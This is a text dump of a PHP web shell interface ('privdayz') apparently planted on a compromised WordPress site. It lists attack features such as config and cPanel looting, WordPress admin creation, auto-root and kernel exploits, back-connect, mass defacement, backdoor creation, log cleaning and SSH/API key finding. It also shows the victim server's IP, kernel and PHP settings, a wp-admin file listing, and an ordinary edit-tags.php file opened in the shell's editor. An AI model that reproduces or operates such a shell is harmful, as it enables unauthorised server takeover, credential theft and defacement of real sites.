pr!vd4yz
/sh3ll
t.me/privdayz
./cmd@pr1v
cmd
generate cgi/perl
all d0mains
p4sswd (users)
syml1nk
syml1nk esc4per
m4ss c0nfig gr4pper
c0nfig search3r
safem0d k1ll3r
sql manager
cpanel email reset
cpanel loot
wp auto hunter & admin reset
wp create admin
linux auto r00t
windows ultra admin creat0r bypass
chroot/jailbreak escaper
bc0nn3ct
kernel expl0it
r00t escalate
m4ss d3face
backd00r scanner
backd00r creat0r
z1p/unz1p
r3m0t3 upload
h4sh generat0r
d1s4bled funcs
php1nfo
pr0cess l1st
netst4t
d1sk
cronj0b list
ma1ler
htaccess byp4ss
d0wn adminer
l0g cle4n
ap1 k3y sc4n
ssh k3y f1nder
w4f d3t
http r3q
f1le search
file lock/unlock
/
home
/
hosting
/
livingriver.eu
/
wp-admin
/
Linux fastweb 6.10.3 #1 SMP PREEMPT_DYNAMIC Wed Aug 7 16:20:40 WEST 2024 x86_64
[safe mode]
OFF
[d1s4bl3 f7nct1ons]
pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, pcntl_async_signalsescapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, system, phpinfo
[h0st]
Linux fastweb 6.10.3 #1 SMP PREEMPT_DYNAMIC Wed Aug 7 16:20:40 WEST 2024 x86_64
[us3r]
[s0ftware]
Apache/2.4.62 (Debian)
[1p]
185.99.235.85
[php]
7.4.26
CURL : ON
SSH2 : OFF
Magic Quotes : OFF
MySQL : ON
MSSQL : OFF
PostgreSQL : ON
Oracle : OFF
CGI : OFF
newFolder
newFile
upFile
up
upFile2
up
.st
drwxr-xr-x
css
drwxr-xr-x
images
drwxr-xr-x
includes
drwxr-xr-x
js
drwx--x--x
maint
drwxr-xr-x
network
drwxr-xr-x
user
drwxr-xr-x
about.php
PHP
-rw-r--r--
17.69
KB
admin-ajax.php
PHP
-rw-r--r--
5.03
KB
admin-footer.php
PHP
-rw-r--r--
2.76
KB
admin-functions.php
PHP
-rw-r--r--
406
B
admin-header.php
PHP
-rw-r--r--
8.87
KB
admin-post.php
PHP
-rw-r--r--
2.02
KB
admin.php
PHP
-rw-r--r--
12.26
KB
async-upload.php
PHP
-rw-r--r--
4.71
KB
authorize-application.php
PHP
-rw-r--r--
10.09
KB
comment.php
PHP
-rw-r--r--
11.35
KB
contribute.php
PHP
-rw-r--r--
5.59
KB
credits.php
PHP
-rw-r--r--
3.75
KB
custom-background.php
PHP
-rw-r--r--
416
B
custom-header.php
PHP
-rw-r--r--
426
B
customize.php
PHP
-rw-r--r--
10.87
KB
edit-comments.php
PHP
-rw-r--r--
14.38
KB
edit-form-advanced.php
PHP
-rw-r--r--
28.73
KB
edit-form-blocks.php
PHP
-rw-r--r--
12.05
KB
edit-form-comment.php
PHP
-rw-r--r--
8.34
KB
edit-link-form.php
PHP
-rw-r--r--
6.21
KB
edit-tag-form.php
PHP
-rw-r--r--
10.43
KB
edit-tags.php
PHP
-rw-r--r--
21.93
KB
edit.php
PHP
-rw-r--r--
19.48
KB
erase-personal-data.php
PHP
-rw-r--r--
7.33
KB
export-personal-data.php
PHP
-rw-r--r--
7.75
KB
export.php
PHP
-rw-r--r--
11.02
KB
freedoms-less.php
PHP
-rw-r--r--
4.18
KB
freedoms.php
PHP
-rw-r--r--
4.5
KB
googlebot_path.config
CONFIG
-rw-r--r--
10
B
import.php
PHP
-rw-r--r--
7.48
KB
index.php
PHP
-rw-r--r--
405
B
install-helper.php
PHP
-rw-r--r--
6.8
KB
install.php
PHP
-rw-r--r--
17.08
KB
link-add-library.php
PHP
-rw-r--r--
1.16
KB
link-add.php
PHP
-rw-r--r--
938
B
link-manager.php
PHP
-rw-r--r--
4.26
KB
link-parse-opml.php
PHP
-rw-r--r--
2.63
KB
link.php
PHP
-rw-r--r--
2.89
KB
load-scripts-array.php
PHP
-rw-r--r--
341
B
load-scripts.php
PHP
-rw-r--r--
2.22
KB
load-styles.php
PHP
-rw-r--r--
3.12
KB
media-new.php
PHP
-rw-r--r--
3.18
KB
media-upload.php
PHP
-rw-r--r--
3.49
KB
media.php
PHP
-rw-r--r--
819
B
menu-header.php
PHP
-rw-r--r--
9.83
KB
menu.php
PHP
-rw-r--r--
16.67
KB
moderation.php
PHP
-rw-r--r--
307
B
ms-admin.php
PHP
-rw-r--r--
196
B
ms-delete-site.php
PHP
-rw-r--r--
4.19
KB
ms-edit.php
PHP
-rw-r--r--
216
B
ms-options.php
PHP
-rw-r--r--
229
B
ms-sites.php
PHP
-rw-r--r--
215
B
ms-themes.php
PHP
-rw-r--r--
217
B
ms-upgrade-network.php
PHP
-rw-r--r--
219
B
ms-users.php
PHP
-rw-r--r--
215
B
my-sites.php
PHP
-rw-r--r--
4.74
KB
nav-menus.php
PHP
-rw-r--r--
48.01
KB
network-index.php
PHP
-rw-r--r--
359
B
network.php
PHP
-rw-r--r--
5.39
KB
options-discussion.php
PHP
-rw-r--r--
15.58
KB
options-general.php
PHP
-rw-r--r--
20.74
KB
options-head.php
PHP
-rw-r--r--
548
B
options-media.php
PHP
-rw-r--r--
6.35
KB
options-permalink.php
PHP
-rw-r--r--
21.21
KB
options-privacy.php
PHP
-rw-r--r--
9.95
KB
options-reading.php
PHP
-rw-r--r--
10.03
KB
options-writing.php
PHP
-rw-r--r--
9.1
KB
options.php
PHP
-rw-r--r--
13.54
KB
plugin-editor.php
PHP
-rw-r--r--
13.42
KB
plugin-install.php
PHP
-rw-r--r--
6.96
KB
plugins.php
PHP
-rw-r--r--
29.13
KB
post-new.php
PHP
-rw-r--r--
2.7
KB
post.php
PHP
-rw-r--r--
9.97
KB
press-this.php
PHP
-rw-r--r--
2.34
KB
privacy-policy-guide.php
PHP
-rw-r--r--
3.67
KB
privacy.php
PHP
-rw-r--r--
2.48
KB
profile.php
PHP
-rw-r--r--
283
B
revision.php
PHP
-rw-r--r--
5.71
KB
setup-config.php
PHP
-rw-r--r--
17.46
KB
site-editor.php
PHP
-rw-r--r--
6.26
KB
site-health-info.php
PHP
-rw-r--r--
3.99
KB
site-health.php
PHP
-rw-r--r--
10.2
KB
term.php
PHP
-rw-r--r--
2.2
KB
theme-editor-beta.php
PHP
-rw-r--r--
4.18
KB
theme-editor.php
PHP
-rw-r--r--
15.42
KB
theme-install.php
PHP
-rw-r--r--
23.34
KB
themes.php
PHP
-rw-r--r--
46.96
KB
tools.php
PHP
-rw-r--r--
3.43
KB
update-core.php
PHP
-rw-r--r--
45.42
KB
update.php
PHP
-rw-r--r--
12.79
KB
upgrade-functions.php
PHP
-rw-r--r--
341
B
upgrade.php
PHP
-rw-r--r--
5.55
KB
upload.php
PHP
-rw-r--r--
14.85
KB
user-edit.php
PHP
-rw-r--r--
39.27
KB
user-new.php
PHP
-rw-r--r--
23.98
KB
users.php
PHP
-rw-r--r--
23.29
KB
widgets-add.php
PHP
-rw-r--r--
359
B
widgets-form-blocks.php
PHP
-rw-r--r--
4.39
KB
widgets-form.php
PHP
-rw-r--r--
19.17
KB
widgets.php
PHP
-rw-r--r--
1.09
KB
wp-blog-header.php
PHP
-rw-r--r--
351
B
wp-load.php
PHP
-rw-r--r--
3.7
KB
delete
unzip
zip
run
file edit
edit-tags.php
×
<?php /** * Edit Tags Administration Screen. * * @package WordPress * @subpackage Administration */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! $taxnow ) { wp_die( __( 'Invalid taxonomy.' ) ); } $tax = get_taxonomy( $taxnow ); if ( ! $tax ) { wp_die( __( 'Invalid taxonomy.' ) ); } if ( ! in_array( $tax->name, get_taxonomies( array( 'show_ui' => true ) ), true ) ) { wp_die( __( 'Sorry, you are not allowed to edit terms in this taxonomy.' ) ); } if ( ! current_user_can( $tax->cap->manage_terms ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ) . '</p>', 403 ); } /** * $post_type is set when the WP_Terms_List_Table instance is created. * * @global string $post_type Global post type. */ global $post_type; $wp_list_table = _get_list_table( 'WP_Terms_List_Table' ); $pagenum = $wp_list_table->get_pagenum(); $title = $tax->labels->name; if ( 'post' !== $post_type ) { $parent_file = ( 'attachment' === $post_type ) ? 'upload.php' : "edit.php?post_type=$post_type"; $submenu_file = "edit-tags.php?taxonomy=$taxonomy&post_type=$post_type"; } elseif ( 'link_category' === $tax->name ) { $parent_file = 'link-manager.php'; $submenu_file = 'edit-tags.php?taxonomy=link_category'; } else { $parent_file = 'edit.php'; $submenu_file = "edit-tags.php?taxonomy=$taxonomy"; } add_screen_option( 'per_page', array( 'default' => 20, 'option' => 'edit_' . $tax->name . '_per_page', ) ); get_current_screen()->set_screen_reader_content( array( 'heading_pagination' => $tax->labels->items_list_navigation, 'heading_list' => $tax->labels->items_list, ) ); $location = false; $referer = wp_get_referer(); if ( ! $referer ) { // For POST requests. $referer = wp_unslash( $_SERVER['REQUEST_URI'] ); } $referer = remove_query_arg( array( '_wp_http_referer', '_wpnonce', 'error', 'message', 'paged' ), $referer ); switch ( $wp_list_table->current_action() ) { case 'add-tag': check_admin_referer( 'add-tag', '_wpnonce_add-tag' ); if ( ! current_user_can( $tax->cap->edit_terms ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to create terms in this taxonomy.' ) . '</p>', 403 ); } $ret = wp_insert_term( $_POST['tag-name'], $taxonomy, $_POST ); if ( $ret && ! is_wp_error( $ret ) ) { $location = add_query_arg( 'message', 1, $referer ); } else { $location = add_query_arg( array( 'error' => true, 'message' => 4, ), $referer ); } break; case 'delete': if ( ! isset( $_REQUEST['tag_ID'] ) ) { break; } $tag_ID = (int) $_REQUEST['tag_ID']; check_admin_referer( 'delete-tag_' . $tag_ID ); if ( ! current_user_can( 'delete_term', $tag_ID ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to delete this item.' ) . '</p>', 403 ); } wp_delete_term( $tag_ID, $taxonomy ); $location = add_query_arg( 'message', 2, $referer ); // When deleting a term, prevent the action from redirecting back to a term that no longer exists. $location = remove_query_arg( array( 'tag_ID', 'action' ), $location ); break; case 'bulk-delete': check_admin_referer( 'bulk-tags' ); if ( ! current_user_can( $tax->cap->delete_terms ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to delete these items.' ) . '</p>', 403 ); } $tags = (array) $_REQUEST['delete_tags']; foreach ( $tags as $tag_ID ) { wp_delete_term( $tag_ID, $taxonomy ); } $location = add_query_arg( 'message', 6, $referer ); break; case 'edit': if ( ! isset( $_REQUEST['tag_ID'] ) ) { break; } $term_id = (int) $_REQUEST['tag_ID']; $term = get_term( $term_id ); if ( ! $term instanceof WP_Term ) { wp_die( __( 'You attempted to edit an item that does not exist. Perhaps it was deleted?' ) ); } wp_redirect( sanitize_url( get_edit_term_link( $term_id, $taxonomy, $post_type ) ) ); exit; case 'editedtag': $tag_ID = (int) $_POST['tag_ID']; check_admin_referer( 'update-tag_' . $tag_ID ); if ( ! current_user_can( 'edit_term', $tag_ID ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to edit this item.' ) . '</p>', 403 ); } $tag = get_term( $tag_ID, $taxonomy ); if ( ! $tag ) { wp_die( __( 'You attempted to edit an item that does not exist. Perhaps it was deleted?' ) ); } $ret = wp_update_term( $tag_ID, $taxonomy, $_POST ); if ( $ret && ! is_wp_error( $ret ) ) { $location = add_query_arg( 'message', 3, $referer ); } else { $location = add_query_arg( array( 'error' => true, 'message' => 5, ), $referer ); } break; default: if ( ! $wp_list_table->current_action() || ! isset( $_REQUEST['delete_tags'] ) ) { break; } check_admin_referer( 'bulk-tags' ); $screen = get_current_screen()->id; $tags = (array) $_REQUEST['delete_tags']; /** This action is documented in wp-admin/edit.php */ $location = apply_filters( "handle_bulk_actions-{$screen}", $location, $wp_list_table->current_action(), $tags ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores break; } if ( ! $location && ! empty( $_REQUEST['_wp_http_referer'] ) ) { $location = remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ); } if ( $location ) { if ( $pagenum > 1 ) { $location = add_query_arg( 'paged', $pagenum, $location ); // $pagenum takes care of $total_pages. } /** * Filters the taxonomy redirect destination URL. * * @since 4.6.0 * * @param string $location The destination URL. * @param WP_Taxonomy $tax The taxonomy object. */ wp_redirect( apply_filters( 'redirect_term_location', $location, $tax ) ); exit; } $wp_list_table->prepare_items(); $total_pages = $wp_list_table->get_pagination_arg( 'total_pages' ); if ( $pagenum > $total_pages && $total_pages > 0 ) { wp_redirect( add_query_arg( 'paged', $total_pages ) ); exit; } wp_enqueue_script( 'admin-tags' ); if ( current_user_can( $tax->cap->edit_terms ) ) { wp_enqueue_script( 'inline-edit-tax' ); } if ( 'category' === $taxonomy || 'link_category' === $taxonomy || 'post_tag' === $taxonomy ) { $help = ''; if ( 'category' === $taxonomy ) { $help = '<p>' . sprintf( /* translators: %s: URL to Writing Settings screen. */ __( 'You can use categories to define sections of your site and group related posts. The default category is “Uncategorized” until you change it in your <a href="%s">writing settings</a>.' ), 'options-writing.php' ) . '</p>'; } elseif ( 'link_category' === $taxonomy ) { $help = '<p>' . __( 'You can create groups of links by using Link Categories. Link Category names must be unique and Link Categories are separate from the categories you use for posts.' ) . '</p>'; } else { $help = '<p>' . __( 'You can assign keywords to your posts using <strong>tags</strong>. Unlike categories, tags have no hierarchy, meaning there is no relationship from one tag to another.' ) . '</p>'; } if ( 'link_category' === $taxonomy ) { $help .= '<p>' . __( 'You can delete Link Categories in the Bulk Action pull-down, but that action does not delete the links within the category. Instead, it moves them to the default Link Category.' ) . '</p>'; } else { $help .= '<p>' . __( 'What’s the difference between categories and tags? Normally, tags are ad-hoc keywords that identify important information in your post (names, subjects, etc) that may or may not recur in other posts, while categories are pre-determined sections. If you think of your site like a book, the categories are like the Table of Contents and the tags are like the terms in the index.' ) . '</p>'; } get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help, ) ); if ( 'category' === $taxonomy || 'post_tag' === $taxonomy ) { if ( 'category' === $taxonomy ) { $help = '<p>' . __( 'When adding a new category on this screen, you’ll fill in the following fields:' ) . '</p>'; } else { $help = '<p>' . __( 'When adding a new tag on this screen, you’ll fill in the following fields:' ) . '</p>'; } $help .= '<ul>' . '<li>' . __( '<strong>Name</strong> — The name is how it appears on your site.' ) . '</li>'; $help .= '<li>' . __( '<strong>Slug</strong> — The “slug” is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.' ) . '</li>'; if ( 'category' === $taxonomy ) { $help .= '<li>' . __( '<strong>Parent</strong> — Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have child categories for Bebop and Big Band. Totally optional. To create a subcategory, just choose another category from the Parent dropdown.' ) . '</li>'; } $help .= '<li>' . __( '<strong>Description</strong> — The description is not prominent by default; however, some themes may display it.' ) . '</li>' . '</ul>' . '<p>' . __( 'You can change the display of this screen using the Screen Options tab to set how many items are displayed per screen and to display/hide columns in the table.' ) . '</p>'; get_current_screen()->add_help_tab( array( 'id' => 'adding-terms', 'title' => 'category' === $taxonomy ? __( 'Adding Categories' ) : __( 'Adding Tags' ), 'content' => $help, ) ); } $help = '<p><strong>' . __( 'For more information:' ) . '</strong></p>'; if ( 'category' === $taxonomy ) { $help .= '<p>' . __( '<a href="https://wordpress.org/documentation/article/posts-categories-screen/">Documentation on Categories</a>' ) . '</p>'; } elseif ( 'link_category' === $taxonomy ) { $help .= '<p>' . __( '<a href="https://codex.wordpress.org/Links_Link_Categories_Screen">Documentation on Link Categories</a>' ) . '</p>'; } else { $help .= '<p>' . __( '<a href="https://wordpress.org/documentation/article/posts-tags-screen/">Documentation on Tags</a>' ) . '</p>'; } $help .= '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'; get_current_screen()->set_help_sidebar( $help ); unset( $help ); } require_once ABSPATH . 'wp-admin/admin-header.php'; // Also used by the Edit Tag form. require_once ABSPATH . 'wp-admin/includes/edit-tag-messages.php'; $class = ( isset( $_REQUEST['error'] ) ) ? 'error' : 'updated'; if ( is_plugin_active( 'wpcat2tag-importer/wpcat2tag-importer.php' ) ) { $import_link = admin_url( 'admin.php?import=wpcat2tag' ); } else { $import_link = admin_url( 'import.php' ); } ?> <div class="wrap nosubsub"> <h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1> <?php if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) { echo '<span class="subtitle">'; printf( /* translators: %s: Search query. */ __( 'Search results for: %s' ), '<strong>' . esc_html( wp_unslash( $_REQUEST['s'] ) ) . '</strong>' ); echo '</span>'; } ?> <hr class="wp-header-end"> <?php if ( $message ) : wp_admin_notice( $message, array( 'id' => 'message', 'additional_classes' => array( $class ), 'dismissible' => true, ) ); $_SERVER['REQUEST_URI'] = remove_query_arg( array( 'message', 'error' ), $_SERVER['REQUEST_URI'] ); endif; ?> <div id="ajax-response"></div> <form class="search-form wp-clearfix" method="get"> <input type="hidden" name="taxonomy" value="<?php echo esc_attr( $taxonomy ); ?>" /> <input type="hidden" name="post_type" value="<?php echo esc_attr( $post_type ); ?>" /> <?php $wp_list_table->search_box( $tax->labels->search_items, 'tag' ); ?> </form> <?php $can_edit_terms = current_user_can( $tax->cap->edit_terms ); if ( $can_edit_terms ) { ?> <div id="col-container" class="wp-clearfix"> <div id="col-left"> <div class="col-wrap"> <?php if ( 'category' === $taxonomy ) { /** * Fires before the Add Category form. * * @since 2.1.0 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_add_form'} instead. * * @param object $arg Optional arguments cast to an object. */ do_action_deprecated( 'add_category_form_pre', array( (object) array( 'parent' => 0 ) ), '3.0.0', '{$taxonomy}_pre_add_form' ); } elseif ( 'link_category' === $taxonomy ) { /** * Fires before the link category form. * * @since 2.3.0 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_add_form'} instead. * * @param object $arg Optional arguments cast to an object. */ do_action_deprecated( 'add_link_category_form_pre', array( (object) array( 'parent' => 0 ) ), '3.0.0', '{$taxonomy}_pre_add_form' ); } else { /** * Fires before the Add Tag form. * * @since 2.5.0 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_add_form'} instead. * * @param string $taxonomy The taxonomy slug. */ do_action_deprecated( 'add_tag_form_pre', array( $taxonomy ), '3.0.0', '{$taxonomy}_pre_add_form' ); } /** * Fires before the Add Term form for all taxonomies. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `category_pre_add_form` * - `post_tag_pre_add_form` * * @since 3.0.0 * * @param string $taxonomy The taxonomy slug. */ do_action( "{$taxonomy}_pre_add_form", $taxonomy ); ?> <div class="form-wrap"> <h2><?php echo $tax->labels->add_new_item; ?></h2> <form id="addtag" method="post" action="edit-tags.php" class="validate" <?php /** * Fires inside the Add Tag form tag. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `category_term_new_form_tag` * - `post_tag_term_new_form_tag` * * @since 3.7.0 */ do_action( "{$taxonomy}_term_new_form_tag" ); ?> > <input type="hidden" name="action" value="add-tag" /> <input type="hidden" name="screen" value="<?php echo esc_attr( $current_screen->id ); ?>" /> <input type="hidden" name="taxonomy" value="<?php echo esc_attr( $taxonomy ); ?>" /> <input type="hidden" name="post_type" value="<?php echo esc_attr( $post_type ); ?>" /> <?php wp_nonce_field( 'add-tag', '_wpnonce_add-tag' ); ?> <div class="form-field form-required term-name-wrap"> <label for="tag-name"><?php _ex( 'Name', 'term name' ); ?></label> <input name="tag-name" id="tag-name" type="text" value="" size="40" aria-required="true" aria-describedby="name-description" /> <p id="name-description"><?php echo $tax->labels->name_field_description; ?></p> </div> <div class="form-field term-slug-wrap"> <label for="tag-slug"><?php _e( 'Slug' ); ?></label> <input name="slug" id="tag-slug" type="text" value="" size="40" aria-describedby="slug-description" /> <p id="slug-description"><?php echo $tax->labels->slug_field_description; ?></p> </div> <?php if ( is_taxonomy_hierarchical( $taxonomy ) ) : ?> <div class="form-field term-parent-wrap"> <label for="parent"><?php echo esc_html( $tax->labels->parent_item ); ?></label> <?php $dropdown_args = array( 'hide_empty' => 0, 'hide_if_empty' => false, 'taxonomy' => $taxonomy, 'name' => 'parent', 'orderby' => 'name', 'hierarchical' => true, 'show_option_none' => __( 'None' ), ); /** * Filters the taxonomy parent drop-down on the Edit Term page. * * @since 3.7.0 * @since 4.2.0 Added `$context` parameter. * * @param array $dropdown_args { * An array of taxonomy parent drop-down arguments. * * @type int|bool $hide_empty Whether to hide terms not attached to any posts. Default 0. * @type bool $hide_if_empty Whether to hide the drop-down if no terms exist. Default false. * @type string $taxonomy The taxonomy slug. * @type string $name Value of the name attribute to use for the drop-down select element. * Default 'parent'. * @type string $orderby The field to order by. Default 'name'. * @type bool $hierarchical Whether the taxonomy is hierarchical. Default true. * @type string $show_option_none Label to display if there are no terms. Default 'None'. * } * @param string $taxonomy The taxonomy slug. * @param string $context Filter context. Accepts 'new' or 'edit'. */ $dropdown_args = apply_filters( 'taxonomy_parent_dropdown_args', $dropdown_args, $taxonomy, 'new' ); $dropdown_args['aria_describedby'] = 'parent-description'; wp_dropdown_categories( $dropdown_args ); ?> <?php if ( 'category' === $taxonomy ) : ?> <p id="parent-description"><?php _e( 'Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional.' ); ?></p> <?php else : ?> <p id="parent-description"><?php echo $tax->labels->parent_field_description; ?></p> <?php endif; ?> </div> <?php endif; // is_taxonomy_hierarchical() ?> <div class="form-field term-description-wrap"> <label for="tag-description"><?php _e( 'Description' ); ?></label> <textarea name="description" id="tag-description" rows="5" cols="40" aria-describedby="description-description"></textarea> <p id="description-description"><?php echo $tax->labels->desc_field_description; ?></p> </div> <?php if ( ! is_taxonomy_hierarchical( $taxonomy ) ) { /** * Fires after the Add Tag form fields for non-hierarchical taxonomies. * * @since 3.0.0 * * @param string $taxonomy The taxonomy slug. */ do_action( 'add_tag_form_fields', $taxonomy ); } /** * Fires after the Add Term form fields. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `category_add_form_fields` * - `post_tag_add_form_fields` * * @since 3.0.0 * * @param string $taxonomy The taxonomy slug. */ do_action( "{$taxonomy}_add_form_fields", $taxonomy ); ?> <p class="submit"> <?php submit_button( $tax->labels->add_new_item, 'primary', 'submit', false ); ?> <span class="spinner"></span> </p> <?php if ( 'category' === $taxonomy ) { /** * Fires at the end of the Edit Category form. * * @since 2.1.0 * @deprecated 3.0.0 Use {@see '{$taxonomy}_add_form'} instead. * * @param object $arg Optional arguments cast to an object. */ do_action_deprecated( 'edit_category_form', array( (object) array( 'parent' => 0 ) ), '3.0.0', '{$taxonomy}_add_form' ); } elseif ( 'link_category' === $taxonomy ) { /** * Fires at the end of the Edit Link form. * * @since 2.3.0 * @deprecated 3.0.0 Use {@see '{$taxonomy}_add_form'} instead. * * @param object $arg Optional arguments cast to an object. */ do_action_deprecated( 'edit_link_category_form', array( (object) array( 'parent' => 0 ) ), '3.0.0', '{$taxonomy}_add_form' ); } else { /** * Fires at the end of the Add Tag form. * * @since 2.7.0 * @deprecated 3.0.0 Use {@see '{$taxonomy}_add_form'} instead. * * @param string $taxonomy The taxonomy slug. */ do_action_deprecated( 'add_tag_form', array( $taxonomy ), '3.0.0', '{$taxonomy}_add_form' ); } /** * Fires at the end of the Add Term form for all taxonomies. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `category_add_form` * - `post_tag_add_form` * * @since 3.0.0 * * @param string $taxonomy The taxonomy slug. */ do_action( "{$taxonomy}_add_form", $taxonomy ); ?> </form></div> </div> </div><!-- /col-left --> <div id="col-right"> <div class="col-wrap"> <?php } ?> <?php $wp_list_table->views(); ?> <form id="posts-filter" method="post"> <input type="hidden" name="taxonomy" value="<?php echo esc_attr( $taxonomy ); ?>" /> <input type="hidden" name="post_type" value="<?php echo esc_attr( $post_type ); ?>" /> <?php $wp_list_table->display(); ?> </form> <?php if ( 'category' === $taxonomy ) : ?> <div class="form-wrap edit-term-notes"> <p> <?php printf( /* translators: %s: Default category. */ __( 'Deleting a category does not delete the posts in that category. Instead, posts that were only assigned to the deleted category are set to the default category %s. The default category cannot be deleted.' ), /** This filter is documented in wp-includes/category-template.php */ '<strong>' . apply_filters( 'the_category', get_cat_name( get_option( 'default_category' ) ), '', '' ) . '</strong>' ); ?> </p> <?php if ( current_user_can( 'import' ) ) : ?> <p> <?php printf( /* translators: %s: URL to Categories to Tags Converter tool. */ __( 'Categories can be selectively converted to tags using the <a href="%s">category to tag converter</a>.' ), esc_url( $import_link ) ); ?> </p> <?php endif; ?> </div> <?php elseif ( 'post_tag' === $taxonomy && current_user_can( 'import' ) ) : ?> <div class="form-wrap edit-term-notes"> <p> <?php printf( /* translators: %s: URL to Categories to Tags Converter tool. */ __( 'Tags can be selectively converted to categories using the <a href="%s">tag to category converter</a>.' ), esc_url( $import_link ) ); ?> </p> </div> <?php endif; /** * Fires after the taxonomy list table. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `after-category-table` * - `after-post_tag-table` * * @since 3.0.0 * * @param string $taxonomy The taxonomy name. */ do_action( "after-{$taxonomy}-table", $taxonomy ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores if ( $can_edit_terms ) { ?> </div> </div><!-- /col-right --> </div><!-- /col-container --> <?php } ?> </div><!-- /wrap --> <?php if ( ! wp_is_mobile() ) : ?> <script type="text/javascript"> try{document.forms.addtag['tag-name'].focus();}catch(e){} </script> <?php endif; $wp_list_table->inline_edit(); require_once ABSPATH . 'wp-admin/admin-footer.php';
Save
Close
Ln 1, Col 1